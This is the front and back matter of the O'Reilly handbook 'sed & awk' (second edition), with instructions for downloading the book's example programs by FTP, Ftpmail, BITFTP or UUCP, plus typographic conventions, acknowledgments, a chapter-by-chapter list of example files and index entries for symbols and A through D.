The sample programs in this book were originally written and tested on a Mac IIci running A/UX 2.0 (UNIX System V Release 2) and a SparcStation 1 running SunOS 4.0. Programs requiring POSIX awk were re-tested using gawk 3.0.0 as well as the August 1994 version of the Bell Labs awk from the Bell Labs FTP site (see Chapter 11 for the FTP details). Sed programs were retested with the SunOS 4.1.3 sed and GNU sed 2.05.

Previous: Scope of This Handbook | sed & awk | Next: Obtaining Example Source Code
Scope of This Handbook | Book Index | Obtaining Example Source Code
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Obtaining Example Source Code

sed & awk

sed & awkSearch this book
Previous: Availability of sed and awk Preface Next: Conventions Used in This Handbook

Obtaining Example Source Code

You can obtain the source code for the programs presented in this book from O'Reilly & Associates through their Internet server. The example programs in this book are available electronically in a number of ways: by FTP, Ftpmail, BITFTP, and UUCP. The cheapest, fastest, and easiest ways are listed first. If you read from the top down, the first one that works for you is probably the best. Use FTP if you are directly on the Internet. Use Ftpmail if you are not on the Internet, but can send and receive electronic mail to Internet sites (this includes CompuServe users). Use BITFTP if you can send electronic mail via BITNET. Use UUCP if none of the above works.

FTP

To use FTP, you need a machine with direct access to the Internet. A sample session is shown, with what you should type in boldface.

$ ftp ftp.oreilly.com
Connected to ftp.oreilly.com.
220 FTP server (Version 6.21 Tue Mar 10 22:09:55 EST 1992) ready.
Name (ftp.oreilly.com:yourname): anonymous
331 Guest login ok, send domain style e-mail address as password.
Password: yourname@domain.name   (Use your user name and host here)
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/nutshell/sedawk_2
250 CWD command successful.
ftp> binary   (Very important! You must specify binary transfer for compressed files.)
200 Type set to I.
ftp> get progs.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for progs.tar.gz.
226 Transfer complete.
ftp> quit
221 Goodbye.

The file is a gzip compressed tar archive; extract the files from the archive by typing:

$ gzcat progs.tar.gz | tar xvf -

System V systems require the following tar command instead:

$ gzcat progs.tar.gz | tar xof -

If gzcat is not available on your system, use separate gunzip and tar commands.

$ gunzip progs.tar.gz
$ tar xvf progs.tar

Ftpmail

Ftpmail is a mail server available to anyone who can send electronic mail to and receive it from Internet sites. This includes any company or service provider that allows email connections to the Internet. Here's how you do it. You send mail to ftpmail@online.oreilly.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is a sample mail session that should get you the examples. This command sends you a listing of the files in the selected directory and the requested example files. The listing is useful if there's a later version of the examples you're interested in.

$ mail ftpmail@online.oreilly.com
Subject:
reply-to yourname@domain.name     (Where you want files mailed)
open
cd /published/oreilly/nutshell/sedawk_2
dir
mode binary
uuencode
get progs.tar.gz
quit
.

A signature at the end of the message is acceptable as long as it appears after "quit."

BITFTP

BITFTP is a mail server for BITNET users. You send it electronic mail messages requesting files, and it sends you back the files by electronic mail. BITFTP currently serves only users who send it mail from nodes that are directly on BITNET, EARN, or NetNorth. To use BITFTP, send mail containing your ftp commands to BITFTP@PUCC. For a complete help file, send HELP as the message body. The following is the message body you send to BITFTP:

FTP  ftp.oreilly.com  NETDATA
USER  anonymous
PASS  yourname@yourhost.edu   Put your Internet email address here (not your BITNET address)
CD /published/oreilly/nutshell/sedawk_2
DIR
BINARY
GET  progs.tar.gz
QUIT

Once you've got the desired file, follow the directions under FTP to extract the files from the archive. Since you are probably not on a UNIX system, you may need to get versions of uudecode, gunzip, atob, and tar for your system. VMS, DOS, and Mac versions are available.

UUCP

UUCP is standard on virtually all UNIX systems and is available for IBM-compatible PCs and Apple Macintoshes. The examples are available by UUCP via modem from UUNET; UUNET's connect-time charges apply. If you or your company has an account with UUNET, you have a system somewhere with a direct UUCP connection to UUNET. Find that system, and type:

uucp uunet\!~/published/oreilly/nutshell/sedawk_2/progs.tar.gz yourhost\!~/yourname/

The backslashes can be omitted if you use a Bourne-style shell (sh, ksh, bash, zsh, pdksh) instead of csh or tcsh. The file should appear some time later (up to a day or more) in the directory /usr/spool/uucppublic/yourname. If you don't have an account, but would like one so that you can get electronic mail, contact UUNET at 703-206-5400. It's a good idea to get the file /published/oreilly/ls-lR.Z as a short test file containing the filenames and sizes of all the files available. Once you've got the desired file, follow the directions under FTP to extract the files from the archive.

Previous: Availability of sed and awk | sed & awk | Next: Conventions Used in This Handbook
Availability of sed and awk | Book Index | Conventions Used in This Handbook
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Conventions Used in This Handbook

sed & awk

sed & awkSearch this book
Previous: Obtaining Example Source Code Preface Next: About the Second Edition

Conventions Used in This Handbook

The following conventions are used in this book:

Bold

is used for statements and functions, identifiers, and program names.

Italic

is used for file and directory names when they appear in the body of a paragraph as well as for data types and to emphasize new terms and concepts when they are introduced.

Constant Width

is used in examples to show the contents of files or the output from commands.

Constant Bold

is used in examples to show command lines and options that should be typed literally by the user. (For example, rm foo means to type "rm foo" exactly as it appears in the text or the example.)

""

are used to identify a code fragment in explanatory text. System messages and symbols are quoted as well.

$

is the UNIX Bourne shell or Korn shell prompt.

[]

surrounds optional elements in a description of program syntax. (The brackets themselves should never be typed, unless otherwise noted.)

...

stands for text (usually computer output) that's been omitted for clarity or to save space.

indicates a literal space. This symbol is used to make spaces visible in examples, as well as in the text.

indicates a literal TAB character. This symbol is used to make tabs visible in examples, as well as in the text.

The notation CTRL-X or ^X indicates use of control characters. It means hold down the "control" key while typing the character "x". We denote other keys similarly (e.g., RETURN indicates a carriage return). All examples of command lines are followed by a RETURN unless otherwise indicated.

Previous: Obtaining Example Source Code | sed & awk | Next: About the Second Edition
Obtaining Example Source Code | Book Index | About the Second Edition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] About the Second Edition

sed & awk

sed & awkSearch this book
Previous: Conventions Used in This Handbook Preface Next: Acknowledgments from the First Edition

About the Second Edition

Since this book was first published in 1990, it has become one of the most fundamental of the O'Reilly & Associates Nutshell Handbooks. Three important events occurred after it was written. The first was the publication of the POSIX standard for sed, and more importantly for awk. The second (perhaps due to the first) was the widespread availability of some version or other of new awk on all modern UNIX systems, both commercial ones and the freely available UNIX-like systems such as NetBSD, FreeBSD, and Linux. The third was the source code availability of GNU sed, and three versions of awk, instead of just gawk.

For these and other reasons, O'Reilly & Associates decided that this handbook needed to be updated. The goals of the revision were to keep the flavor of the book intact ("if it ain't broke, don't fix it"), reorient the awk part of the book around POSIX awk, correct mistakes, and bring the book up to date.

I would like to thank Gigi Estabrook, Chris Reilley, and Lenny Muellner of O'Reilly & Associates for their help, Marc Vauclair, the French translator of the first edition, for many helpful comments, and John Dzubera for his comments on the first edition. Michael Brennan, Henry Spencer, and Ozan Yigit acted as technical reviewers for this edition, and I would like to thank them for their input. Ozan Yigit, in particular, deserves extra thanks for forcing me to be very rigorous in my testing. Pat Thompson of Thompson Automation Software graciously provided an evaluation copy of tawk for review in this book. Richard Montgomery of Videosoft provided me with information about VSAwk.

The following people provided the scripts in Chapter 13: Jon L. Bentley, Tom Christiansen, Geoff Clare, Roger A. Cornelius, Rahul Dhesi, Nick Holloway, Norman Joseph, Wes Morgan, Tom Van Raalte, and Martin Weitzel. Their contributions are gratefully acknowledged.

Thanks also to the staff at O'Reilly & Associates. Nicole Gipson Arigo was the production editor and project manager. David Sewell was the copyeditor, and Clairemarie Fisher O'Leary proofread the book. Jane Ellin and Sheryl Avruch performed quality control checks. Seth Maislin wrote the index. Erik Ray, Ellen Siever, and Lenny Muellner worked with the tools to create the book. Chris Reilley fine-tuned the figures. Nancy Priest and Mary Jane Walsh designed the interior book layout, and Edie Freedman designed the front cover.

My in-laws, Marshall and Elaine Hartholz of Seattle, deserve special thanks for taking our children camping for a week, allowing me to make significant progress during an important phase of the update. :-)

Finally, I would like to thank my wonderful wife Miriam for her patience during this project.

Arnold Robbins

Previous: Conventions Used in This Handbook | sed & awk | Next: Acknowledgments from the First Edition
Conventions Used in This Handbook | Book Index | Acknowledgments from the First Edition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Acknowledgments from the First Edition

sed & awk

sed & awkSearch this book
Previous: About the Second Edition Preface Next: Comments and Questions

Acknowledgments from the First Edition

To say that this book has been long anticipated is no understatement. I published three articles on awk in UNIX/World in the spring and summer of 1987, making the mistake of saying that these articles were from the upcoming Nutshell Handbook, Sed & Awk. I proposed to Tim O'Reilly that I adapt the articles and create a book as a project I could work on at home shortly after the birth of my son, Benjamin. I thought I'd finish it in several months. Well, my son turned three around the time I was completing the first draft. Cathy Brennan and the customer service representatives have been patiently handling requests for the book ever since the UNIX/World articles appeared. Cathy said that she even had people call to order the book, swearing it was available because they knew other people who had read it. I owe a debt of gratitude to her and her staff and to the readers I've kept waiting.

My thanks to Tim O'Reilly for creating a great company in which one can easily get sidetracked by a number of interesting projects. As editor, he pushed me to complete the book but would not allow it to be complete without his writing all over it. As usual, his suggestions made me work to improve the book.

Thanks to all the writers and production editors at O'Reilly & Associates, who presented interesting problems to be solved with sed and awk. Thanks to Ellie Cutler who was the production editor for the book and also wrote the index. Thanks to Lenny Muellner for allowing me to quote him throughout the book. Thanks as well to Sue Willing and Donna Woonteiler for their efforts in getting the book into print. Thanks to Chris Reilley who did the illustrations. Thanks to the individual contributors of the sed and awk scripts in Chapter 13. Thanks also to Kevin C. Castner, Tim Irvin, Mark Schalz, Alex Humez, Glenn Saito, Geoff Hagel, Tony Hurson, Jerry Peek, Mike Tiller, and Lenny Muellner, who sent me mail pointing out typos and errors.

Finally, dearest thanks to Nancy and Katie, Ben and Glenda.

Dale Dougherty

Previous: About the Second Edition | sed & awk | Next: Comments and Questions
About the Second Edition | Book Index | Comments and Questions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Comments and Questions

sed & awk

sed & awkSearch this book
Previous: Acknowledgments from the First Edition Preface Next: 1. Power Tools for Editing

Comments and Questions

Please address comments and questions concerning this book to the publisher:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international or local)
1-707-829-0104 (FAX)

You can send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

Previous: Acknowledgments from the First Edition | sed & awk | Next: 1. Power Tools for Editing
Acknowledgments from the First Edition | Book Index | 1. Power Tools for Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Examples from sed & awk

sed & awk

Examples for sed & awk

Chapter 2: Understanding Basic Operations
byState
list
nameState
Chapter 3: Understanding Regular Expression Syntax
bookwords
gres
Chapter 4: Writing sed Scripts
do.outline
fixquotes.sed
format
getmac1
getmac2
horsefeathers
runsed
sedscr.horsefeathers
Chapter 5: Basic sed Commands
getmac
index.edit
man.data
refpage
refsed
sedman
Chapter 6: Advanced sed Commands
index.edit
phrase
scribe.font1.sed
scribe.font2.sed
test.scribe.data
Chapter 7: Writing Scripts for awk
acro
acronyms
checkbook.awk
checks.data
filesum1
filesum2
filesum3
fls.data
fls1
grades.data
grades1.awk
grades2.awk
Chapter 8: Conditionals, Loops, and Arrays
acronyms
awkro
bitmap.awk
bitmap.test
date-month
factorial
grades.awk
grades.test
lookup
sample
Chapter 9: Functions
caps
do.outline
grade.sort.awk
lotto
lower
mandata.sort
pick1
sort.awk
sorter.awk
Chapter 10: The Bottom Drawer
addemup
getfilename.awk
invoke
mansplit.awk
orders
uucp_commands
Chapter 11: A Flock of awks
cgiformat.awk
printerr.awk
querylog
simplesed.awk
Chapter 12: Full-Featured Applications
combine.idx
format.idx
index.data
input.idx
masterindex.1
masterindex.sh
pagenums.idx
spellcheck.awk
Chapter 13: A Miscellany of Scripts
adj.nawk
adj.sh
gent.csh
m0a.awk
m0b.awk
m1.awk
m1.ps
mailavg.sh
phonebill.awk
phonebill.data
plpr.sh
readsource.sh
transpose.data
transpose.sh
uutot.awk
uutot.data
The UNIX CD Bookshelf Navigation The UNIX CD Bookshelf UNIX Power Tools UNIX in a Nutshell Learning the vi Editor sed & awk Learning the Korn Shell Learning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Symbols and Numbers

& (ampersand)
&& (logical AND) operator : 7.8. Relational and Boolean Operators
in replacement text
5.3. Substitution
5.3.1. Replacement Metacharacters
* (asterisk)
** (exponentiation) operator : 7.6. Expressions
**= (assignment) operator : 7.6. Expressions
*= (assignment) operator : 7.6. Expressions
as metacharacter
3.1. That's an Expression
3.2.5. Repeated Occurrences of a Character
multiplication operator : 7.6. Expressions
\ (backslash)
7.6. Expressions
(see also escape sequences, awk)
\<, \> escape sequences
3.2.11. What's the Word? Part II
11.2.3.4. Extended regular expressions
\`, \' escape sequences : 11.2.3.4. Extended regular expressions
character classes and : 3.2.4. Character Classes
as metacharacter
3.2. A Line-Up of Characters
3.2.1. The Ubiquitous Backslash
in replacement text
5.3. Substitution
5.3.1. Replacement Metacharacters
{} (braces)
\{\} metacharacters
3.2. A Line-Up of Characters
3.2.8. A Span of Characters
in awk
2.1. Awk, by Sed and Grep, out of Ed
2.4.1. Running awk
8.1. Conditional Statements
grouping sed commands in
4.2.1. Grouping Commands
5.1. About the Syntax of sed Commands
[] (brackets) metacharacters
3.2. A Line-Up of Characters
3.2.4. Character Classes
[::] metacharacters : 3.2.4.3. POSIX character class additions
[..] metacharacters : 3.2.4.3. POSIX character class additions
[==] metacharacters : 3.2.4.3. POSIX character class additions
^ (circumflex)
^= (assignment) operator : 7.6. Expressions
character classes and
3.2. A Line-Up of Characters
3.2.4.2. Excluding a class of characters
exponentiation operator : 7.6. Expressions
as metacharacter
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
in multiline pattern space : 6.1.1. Append Next Line
: (colon) for labels : 6.4. Advanced Flow Control Commands
$ (dollar sign)
as end-of-line metacharacter
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
for last input line : 4.2. A Global Perspective on Addressing
in multiline pattern space : 6.1.1. Append Next Line
$0, $1, $2, ...
2.4.1. Running awk
7.5.1. Referencing and Separating Fields
. (dot) metacharacter
3.1. That's an Expression
3.2.2. A Wildcard
3.2.5. Repeated Occurrences of a Character
= (equal sign)
== (equal to) operator : 7.8. Relational and Boolean Operators
for printing line numbers : 5.9. Print Line Number
! (exclamation point)
4.2. A Global Perspective on Addressing
A.2.1. Pattern Addressing
!= (not equal to) operator : 7.8. Relational and Boolean Operators
!~ (does not match) operator
7.5.1. Referencing and Separating Fields
7.8. Relational and Boolean Operators
branch command versus : 6.4.1. Branching
csh and : 1.4. Four Hurdles to Mastering sed and awk
logical NOT operator : 7.8. Relational and Boolean Operators
> (greater than sign)
>= (greater than or equal to) operator : 7.8. Relational and Boolean Operators
for redirection
2.3.2.1. Saving output
4.3. Testing and Saving Output
10.5. Directing Output to Files and Pipes
relational operator : 7.8. Relational and Boolean Operators
- (hyphen)
-= (assignment) operator : 7.6. Expressions
-- (decrement) operator : 7.6. Expressions
character classes and : 3.2.4.1. A range of characters
subtraction operator : 7.6. Expressions
< (less than sign)
<= (less than or equal to) operator : 7.8. Relational and Boolean Operators
relational operator : 7.8. Relational and Boolean Operators
# for comments
5.2. Comment
7.4.1. Describing Your Script
B.2.2.2. Comments
#n for suppressing output : 5.2. Comment
#!, invoking awk with
10.9. Invoking awk Using the #! Syntax
B.1.1. Shell Wrapper for Invoking awk
() (parentheses)
2.2.1. Scripting
3.2. A Line-Up of Characters
3.2.10. Grouping Operations
with replacing text : 5.3.1. Replacement Metacharacters
% (percent sign)
%= (assignment) operator : 7.6. Expressions
for format specifications : 7.9. Formatted Printing
modulo operator : 7.6. Expressions
+ (plus)
+= (assignment) operator : 7.6. Expressions
++ (increment) operator : 7.6. Expressions
addition operator : 7.6. Expressions
metacharacter : 7.4. Pattern Matching
as metacharacter
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
? (question mark)
?: (conditional) operator
8.1.1. Conditional Operator
11.1.3. The C Conditional Expression
as metacharacter
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
; (semicolon)
2.3.1. Specifying Simple Instructions
2.4.1. Running awk
B.2.2.1. Line termination
' (single quotes)
2.2. Command-Line Syntax
2.3.1. Specifying Simple Instructions
/ (slash)
/= (assignment) operator : 7.6. Expressions
// as delimiter
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
division operator : 7.6. Expressions
in ed commands : 2.1. Awk, by Sed and Grep, out of Ed
pattern addressing
2.1. Awk, by Sed and Grep, out of Ed
A.2.1. Pattern Addressing
~ (match) operator
7.5.1. Referencing and Separating Fields
7.8. Relational and Boolean Operators
| (vertical bar)
|| (logical OR) operator : 7.8. Relational and Boolean Operators
as metacharacter
3.2. A Line-Up of Characters
3.2.9. Alternative Operations
piping output with : 10.5.1. Directing Output to a Pipe

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: A

a command (sed) : 5.5. Append, Insert, and Change
abort statement (tawk) : 11.3.2.1. Tawk language extensions
acronym processor (example) : 8.5. An Acronym Processor
addition (+) operator : 7.6. Expressions
addresses, line
2.1. Awk, by Sed and Grep, out of Ed
4.2. A Global Perspective on Addressing
5.1. About the Syntax of sed Commands
addressing by pattern
2.1. Awk, by Sed and Grep, out of Ed
A.2.1. Pattern Addressing
printing with = : 5.9. Print Line Number
adj script (example) : 13.5. adj - Adjust Lines for Text Files
alignment of output fields : 7.9. Formatted Printing
ampersand (&)
&& (logical AND) operator : 7.8. Relational and Boolean Operators
in replacement text
5.3. Substitution
5.3.1. Replacement Metacharacters
anchors
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
AND (&&) operator : 7.8. Relational and Boolean Operators
append command : (see a command (sed))
ARGC variable : 8.6. System Variables That Are Arrays
ARGI variable (tawk) : 11.3.2.1. Tawk language extensions
ARGIND variable (gawk) : 11.2.3.8. Additional variables
ARGV variable : 8.6. System Variables That Are Arrays
ARGI variable with (tawk) : 11.3.2.1. Tawk language extensions
ARGIND variable with (gawk) : 11.2.3.8. Additional variables
arithmetic functions
9.1. Arithmetic Functions
11.1.10. Functions
arithmetic operators, awk : 7.6. Expressions
arrays
8.4. Arrays
11.1.8. Arrays
B.2.5.4. Arrays
deleting elements of
8.4.6. Deleting Elements of an Array
11.1.8. Arrays
11.2.1.1. Deleting all elements of an array
multidimensional
8.5.1. Multidimensional Arrays
11.3.2.1. Tawk language extensions
parsing strings into elements
8.4.4. Using split() to Create Arrays
11.2.1.2. Obtaining individual characters
sorting elements in (tawk) : 11.3.2.1. Tawk language extensions
splitting : 11.2.1.2. Obtaining individual characters
system variables that are : 8.6. System Variables That Are Arrays
testing for membership in : 8.4.2. Testing for Membership in an Array
assigning input to variables : 10.1.2. Assigning the Input to a Variable
assignment operators, awk : 7.6. Expressions
associative arrays : 8.4.1. Associative Arrays
asterisk (*)
** (exponentiation) operator : 7.6. Expressions
**= (assignment) operator : 7.6. Expressions
*= (assignment) operator : 7.6. Expressions
as metacharacter
3.1. That's an Expression
3.2.5. Repeated Occurrences of a Character
multiplication operator : 7.6. Expressions
automatic edits : 4.4.4. Edits To Go
awk
1.3. A Pattern-Matching Programming Language
2.1. Awk, by Sed and Grep, out of Ed
2.4. Using awk
11.1. Original awk
arrays : (see arrays)
built-in functions : 11.1.10. Functions
built-in variables
7.7. System Variables
11.1.11. Built-In Variables
command-line syntax
2.2. Command-Line Syntax
B.1. Command-Line Syntax
commands
5.1. About the Syntax of sed Commands
B.3. Command Summary for awk
(see also under specific command)
documentation for : Other Sources of Information About sed and awk
error messages : 2.4.2. Error Messages
escape sequences : B.2.5.2. Escape sequences
extensions to : 11.2.1. Common Extensions
functions : (see functions)
invoking with #!
10.9. Invoking awk Using the #! Syntax
B.1.1. Shell Wrapper for Invoking awk
limitations to : 10.8. Limitations
obtaining : Availability of sed and awk
operators
B.2.5.6. Operators
(see operators, awk)
options : 2.4.3. Summary of Options
POSIX standards for : 7. Writing Scripts for awk
programming model : 7.3. Awk's Programming Model
quick reference : B. Quick Reference for awk
regular expression metacharacters : B.2.4. Regular Expressions
with sed : 2.5. Using sed and awk Together
system variables : B.2.5.5. System variables
versions of
Availability of sed and awk
11.2.2. Bell Labs awk
writing scripts in : 7. Writing Scripts for awk
AWKPATH variable (gawk) : 11.2.3.2. An awk program search path

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: B

b command (sed) : 6.4.1. Branching
\B escape sequence : 11.2.3.4. Extended regular expressions
backreferences : (see numbered replacement strings)
backslash (\)
7.6. Expressions
(see also escape sequences, awk)
\<, \> escape sequences
3.2.11. What's the Word? Part II
11.2.3.4. Extended regular expressions
\`, \' escape sequences : 11.2.3.4. Extended regular expressions
character classes and : 3.2.4. Character Classes
as metacharacter
3.2. A Line-Up of Characters
3.2.1. The Ubiquitous Backslash
in replacement text
5.3. Substitution
5.3.1. Replacement Metacharacters
bang (!) : (see exclamation point)
basic regular expressions (BREs) : 3.2.4.3. POSIX character class additions
BEGIN pattern : 7.2. Hello, World
command-line parameters and : 7.10. Passing Parameters Into a Script
BEGIN procedure : 11.1.6. Control Flow
BEGINFILE procedure (tawk) : 11.3.2.1. Tawk language extensions
beginning
of line : (see ^ (circumflex))
of word : (see \<, \> escape sequences)
Bell Labs awk : 11.2.2. Bell Labs awk
BITFTP : BITFTP
blocks of text : 6.3.3. Building Blocks of Text
Boolean operators, awk : 7.8. Relational and Boolean Operators
variables as Boolean patterns : 11.1.4. Variables as Boolean Patterns
braces {} : A.2.1. Pattern Addressing
\{\} metacharacters
3.2. A Line-Up of Characters
3.2.8. A Span of Characters
in awk
2.1. Awk, by Sed and Grep, out of Ed
2.4.1. Running awk
8.1. Conditional Statements
grouping sed commands in
4.2.1. Grouping Commands
5.1. About the Syntax of sed Commands
bracket expressions : 3.2.4. Character Classes
brackets []
[::] metacharacters : 3.2.4.3. POSIX character class additions
[..] metacharacters : 3.2.4.3. POSIX character class additions
[==] metacharacters : 3.2.4.3. POSIX character class additions
as metacharacters
3.2. A Line-Up of Characters
3.2.4. Character Classes
branch command : (see b command (sed))
branching : 6.4.1. Branching
break statement : 8.3. Other Statements That Affect Flow Control
breaking lines : 11.2.3.3. Line continuation
BREs (basic regular expressions) : 3.2.4.3. POSIX character class additions
buffers, flushing : 11.2.1.3. Flushing buffered output
built-in functions
awk : 11.1.10. Functions
gawk : 11.2.3.9. Additional functions
tawk : 11.3.2.2. Additional built-in tawk functions
built-in variables
7.7. System Variables
11.1.11. Built-In Variables

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: C

c command (sed) : 5.5. Append, Insert, and Change
capitalization, converting
5.7. Transform
6.3.1. A Capital Transformation
9.2. String Functions
9.2.4. Converting Case
case sensitivity
3.1. That's an Expression
9.2.4. Converting Case
(see also capitalization, converting)
character classes for : 3.2.4. Character Classes
IGNORECASE variable (gawk) : 11.2.3.8. Additional variables
variable names : 7.6. Expressions
change command : (see c command (sed))
character classes : 3.2.4. Character Classes
characters
hiding special : 12.3.1. How to Hide a Special Character
matching at word start/end : 3.2.11. What's the Word? Part II
measured span of
3.2. A Line-Up of Characters
3.2.8. A Span of Characters
metacharacters : (see metacharacters)
newline : (see newline characters)
range of : (see character classes)
space : (see space characters)
stripping non-printable nroff : 5.6.1. Stripping Out Non-Printable Characters from nroff Files
circumflex (^)
^= (assignment) operator : 7.6. Expressions
character classes and
3.2. A Line-Up of Characters
3.2.4.2. Excluding a class of characters
exponentiation operator : 7.6. Expressions
as metacharacter
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
in multiline pattern space : 6.1.1. Append Next Line
close()
10.2. The close() Function
10.5.2. Working with Multiple Files
closing files/pipes
10.2. The close() Function
10.5.2. Working with Multiple Files
closure : 3.2.5. Repeated Occurrences of a Character
collating symbols : 3.2.4.3. POSIX character class additions
colon (:) for labels : 6.4. Advanced Flow Control Commands
columns, output as : 10.6. Generating Columnar Reports
combine script (example) : 13.3. combine - Extract Multipart uuencoded Binaries
"command garbled" message
2.3.1.1. Command garbled
5.1. About the Syntax of sed Commands
command-line options, gawk : 11.2.3.1. Command line options
command-line parameters
array of : 8.6.1. An Array of Command-Line Parameters
passing into script : 7.10. Passing Parameters Into a Script
command-line syntax
2.2. Command-Line Syntax
A.1. Command-Line Syntax
B.1. Command-Line Syntax
commands
2.4.1. Running awk
(see also under specific command)
awk : B.3. Command Summary for awk
executing expressions as : 10.3. The system() Function
grouping
4.2.1. Grouping Commands
5.1. About the Syntax of sed Commands
menu-based generator (example) : 10.4. A Menu-Based Command Generator
multiple : 2.4.1. Running awk
order of : 4.1. Applying Commands in a Script
sed
5. Basic sed Commands
6. Advanced sed Commands
A.3. Command Summary for sed
syntax for : A.2. Syntax of sed Commands
comments
5.2. Comment
10.7.4. Commenting Out Loud
B.2.2.2. Comments
in awk scripts : 7.4.1. Describing Your Script
commercial versions of awk : 11.3. Commercial awks
comparing
relationship operators for : 7.8. Relational and Boolean Operators
strings : 9.2.5. The match() Function
concatenation
3.1. That's an Expression
7.6. Expressions
conditional statements
8.1. Conditional Statements
11.1.3. The C Conditional Expression
constants : B.2.5.1. Constants
constants, hexadecimal (tawk) : 11.3.2.1. Tawk language extensions
continue statement : 8.3. Other Statements That Affect Flow Control
continued lines : 11.2.3.3. Line continuation
converting : 8.4.5. Making Conversions
acronym processor (example) : 8.5. An Acronym Processor
case : 9.2.4. Converting Case
numbers to strings : 7.7. System Variables
CONVFMT variable
7.7. System Variables
8.4.1. Associative Arrays
copying programs : 10.7.1. Make a Copy
cos() : 9.1.1. Trigonometric Functions
counters in for loops : 8.2.3. For Loop
cross-referencing scheme : 1.1. May You Solve Interesting Problems
csh shell
1.4. Four Hurdles to Mastering sed and awk
2.3.1. Specifying Simple Instructions
curly braces : (see braces)
customizing functions : 9.3. Writing Your Own Functions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: D

d command (ed) : 2.1. Awk, by Sed and Grep, out of Ed
d command (sed)
4.2. A Global Perspective on Addressing
5.4. Delete
H command with : 6.3. Hold That Line
D command (sed)
5.4. Delete
6.1.2. Multiline Delete
with P and N commands : 6.1.3. Multiline Print
date and time : (see time management)
debugging : 10.7. Debugging
print command with : 5.8. Print
decrement (--) operator : 7.6. Expressions
defining
functions : 9.3. Writing Your Own Functions
variables : 7.6. Expressions
delete command (ed) : 2.1. Awk, by Sed and Grep, out of Ed
delete command (sed) : (see d command (sed); D command (sed))
delete statement (awk)
8.4.6. Deleting Elements of an Array
11.2.1.1. Deleting all elements of an array
deleting
array elements
8.4.6. Deleting Elements of an Array
11.1.8. Arrays
11.2.1.1. Deleting all elements of an array
lines
2.1. Awk, by Sed and Grep, out of Ed
5.4. Delete
6.1.2. Multiline Delete
delimiters
7.7. System Variables
11.1.7. Field Separating
awk
2.4.1. Running awk
7.5. Records and Fields
7.5.1. Referencing and Separating Fields
7.5.2. Field Splitting: The Full Story
FIELDWIDTHS variable (gawk) : 11.2.3.6. Separating fields
FS variable
7.5.1. Referencing and Separating Fields
7.7. System Variables
11.2.1.2. Obtaining individual characters
OFS variable : 7.7. System Variables
for regular expressions
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
subscript-component : 8.5.1. Multidimensional Arrays
/dev files
11.2.1.4. Special filenames
11.2.3.7. Additional special files
diff program : 4.3. Testing and Saving Output
division (/) operator : 7.6. Expressions
do loop : 8.2.2. Do Loop
documentation : Other Sources of Information About sed and awk
